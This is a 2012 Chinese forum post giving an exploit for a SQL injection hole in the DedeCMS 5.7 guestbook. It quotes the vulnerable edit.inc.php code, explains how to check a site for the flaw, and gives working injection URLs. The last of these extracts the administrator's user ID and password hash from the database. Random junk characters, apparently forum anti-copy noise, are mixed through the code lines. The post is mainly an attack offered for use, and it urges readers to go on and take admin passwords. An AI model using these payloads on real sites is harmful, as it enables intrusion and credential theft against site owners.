找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3947|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.72 `' }/ b4 A- F0 H; W0 m

% @+ }& p' P$ v; Y- z漏洞文件edit.inc.php具体代码:8 a' B1 e- K  w- s2 c
% u& ^8 W, }/ `# k% |) A
< ?php  
( B; |! p8 P( s4 X
( A6 b, u* B6 k4 O7 |3 C6 `if(!defined('DEDEINC')) exit('Request Error!');  : S; u! L9 A* B/ v' G5 n
5 ]" X1 I0 k, Q  P( P1 B
   
* x( q! G9 P1 n5 M
6 p, I' I. y5 ~. L. G+ D5 }if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  9 d7 n7 z* B5 Q6 Z' p# Y

7 n% N1 U5 u# ?7 A( z# B8 P) l: telse $GUEST_BOOK_POS = "guestbook.php";  $ I5 K: Z' a: h9 S& p( O
: g# T: A0 [: F; k% f4 A
   ) j' \: ^& f% a& o; J

& m' O( z# f% V2 h% v, l4 ]$id = intval($id);  
" H1 v9 U/ A) _1 |5 r# u+ k5 @2 }7 y
if(empty($job)) $job='view';  
' B, U( E+ X" _# Y( p
" I: g% ]0 Q! g$ c8 m  `   * D& F1 `" k; l/ o6 O% g0 ~
8 q% ^, P* m+ {; K. w+ K
if($job=='del' && $g_isadmin)  
& v/ Y" e0 J/ r
  M+ b$ b* Q5 a" @' Q{  
8 }. G& m, ~& e$ h5 J7 v: V5 ]; Y) z5 F/ ]+ F- @- V
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
7 d, F# {# c. o! d# H3 k0 u- |  |7 s- v% z# H# x, g  k0 K
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  - I1 H% r3 _+ R5 @: N- N4 ~+ j

: _7 j, t* Y5 c/ _exit();  
6 J  X: F% _, [: S( d% B9 T% J. I" e; l0 z
}  # G2 P- U9 |# |1 h

6 b7 F* w: x5 i- A2 Kelse if($job=='check' && $g_isadmin)  $ y2 c; k$ c9 J) g

' F1 U5 j; J9 }/ G+ H  m{  2 T  w! G( z' S
( x* }! Q) C; R2 q
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  # j! H/ ~0 y! p% d- s0 F& h& C. X1 X
6 i+ p1 H# \/ w% L* K- ?$ l
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  6 D' R  y4 V/ ]# m" x
* z: f* ]* P8 T5 d* E; ?) l
exit();  # y& Y9 Z; u* W' {* _% c0 v

2 i8 [; S1 R( |' \$ X$ K& V}  ; z* E2 {- O9 [( v- \4 j% O
* n$ c1 r; k. {- L/ ^. ~* a
else if($job=='editok')  ) X  l7 g% z, F+ \* j
. W5 [* E2 X) @0 m" @
{  
; h" Y; ?2 H6 \' _" J; \6 k2 f/ b  s  }7 b; K  X( i. C( a
$remsg = trim($remsg);  
0 T/ z1 V( @$ Z! k3 A  I) M# J3 |8 `, ]) B
if($remsg!='')  1 m( n3 Y$ K3 M" K9 z! g
- V' L8 k7 S; \/ p1 \! N
{  1 p- R- H! m: F( Z$ a
8 y9 {, R& ]& \2 L5 G) k
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
$ Z! `1 T. V% c4 ?* O8 ~# \
3 `7 W: c5 m2 m3 S3 L/ w/ S, Jif($g_isadmin)  ' a7 S& H/ E% V: c8 A

6 r/ t2 |9 }% ^9 S& R{  
8 r# W! q  N% u$ l1 m$ k% z; d& V, [+ X: ^: H9 |
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
% C3 @' v' v. o+ V0 I; u, N0 E. \0 g3 @7 S6 a5 h
//$remsg <br /><font color=red>管理员回复:</font> }  
, a: ~7 l8 i5 Q. J, E( X+ t
( ^; l4 V$ u# P5 R% Uelse / P+ e- J+ B" Q5 y4 G5 z0 d% B

* B4 E5 n$ v! [/ ^' A{  2 M" h7 b0 U3 W0 c& O
/ C: E! j  d  h6 F9 |! ~
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
# Y# K; Y0 ]& t) X6 Z
  p# u9 O. k7 b. L2 U, n. K$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
% L: a# ~9 |- O" @/ F; B3 c- Q
4 O* g/ v! V& ^0 R7 W; l$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
/ A; a1 K0 t5 X: {8 i; _( m" q- T$ E( l/ g: {3 R
$msg = $oldmsg.$remsg;  ; u+ Z$ l  {$ n1 ?; V

2 @2 y9 n6 g, u% |( o/ }* y& K) z# _}  
# }4 J3 Q. T6 n) M9 [
+ e! ^& H, ~1 I# w% I}  2 i% X5 g: K% m( q

! v2 ?- a( n* Z$ @0 T//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  + i# H2 R% {2 X; `, E% y+ |
! v/ p% e+ l( S: P: @6 U) v( ^
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  3 E4 M, Z' p6 t  x  a5 m! ~' w/ G
7 u& Z1 E1 Q: j; M! c3 Z" Q
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
# _9 a8 J) V# N5 N' d1 j. P. H; {% t( g) y5 v6 p
exit();  & |, }0 f4 c0 _9 @$ J$ ]+ N% U1 n
  V- w0 R3 H" R+ c
}  - i+ b3 h; D5 G: \) U3 {

+ y2 _' w% ]1 M+ k//home:www.errs.cc  ' }! e9 |+ [7 `/ S
" e& x% X! a0 n. W) G6 L0 d
if($g_isadmin)  & I3 x# T5 M, y" X0 x! e) ^$ V
5 T+ \( x+ K% R) U- ~# @# w
{  
5 T: w; Q( s1 A9 C0 C  b! k8 y/ @% s$ ], b# @
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  6 r2 ^/ d( q* p
5 d$ Q( O" v# j4 [  |. J
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
# O/ U4 ~5 ?1 \4 `  _0 J5 j4 M' I  L4 @( Z) a) M
}  0 P/ R' o$ c. O" @% e* h
* S5 @8 u) v  C
else 7 R5 H" i, f; m. i( T

6 U6 j; U% d& J' o{  
) e4 q% r5 T* _! a
4 B% i4 k8 }% t( v( W$ S8 Y' P$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  ' M$ K6 g! R' L7 L

+ e- ]2 {+ X7 ?! c! e' erequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
# m  d2 t, A6 {( O+ Y2 ]
- s3 r$ n( T# k  V& Y) |6 J( F. Y} 漏洞成功需要条件:" U0 ?7 N  c4 i* O% k/ j
1. php magic_quotes_gpc=off
1 B* }2 P+ c1 a" s0 Z4 y6 u2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。2 j' ^3 }$ a/ S  F# j9 L
6 v; L$ Y5 q% d1 B: t
怎么判断是否存在漏洞:2 W6 _; n& W  o
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
* j# F, a6 B4 c然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
3 p6 ?4 w& E, e) l访问:& @8 n- f  s$ e( R
5 D. h1 U" e8 ^# y+ K7 {( |
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
0 K6 U$ P# l" K3 L5 Y& D7 ~9 W% J跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证$ w) ]" F/ p. L  o5 e& x! A6 A

5 `0 e. @9 ^+ n3 ~! m! l( i
' l: R- X: B& Y# g( E2 L* `明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
8 T6 q, I6 ~% O7 O; A8 W; w1 n, \如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
$ I( J( N' L' _+ m那么再次访问
6 l- B5 S+ R# {0 q# ~5 i1 M. L1 ~
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
3 n% G% B( Z: b8 A2 d
5 g- M) W- g6 o$ D/ R: \大概利用就是这样,大家有兴趣的多研究下!!
, R2 T- }2 ~) t# g$ P- J, m6 r1 b6 Q0 N) b3 m0 |+ B
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!7 m8 y% d' V8 E' M3 P* U( H
& Q* ^: x) S9 Z- m2 [( e& d: g
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表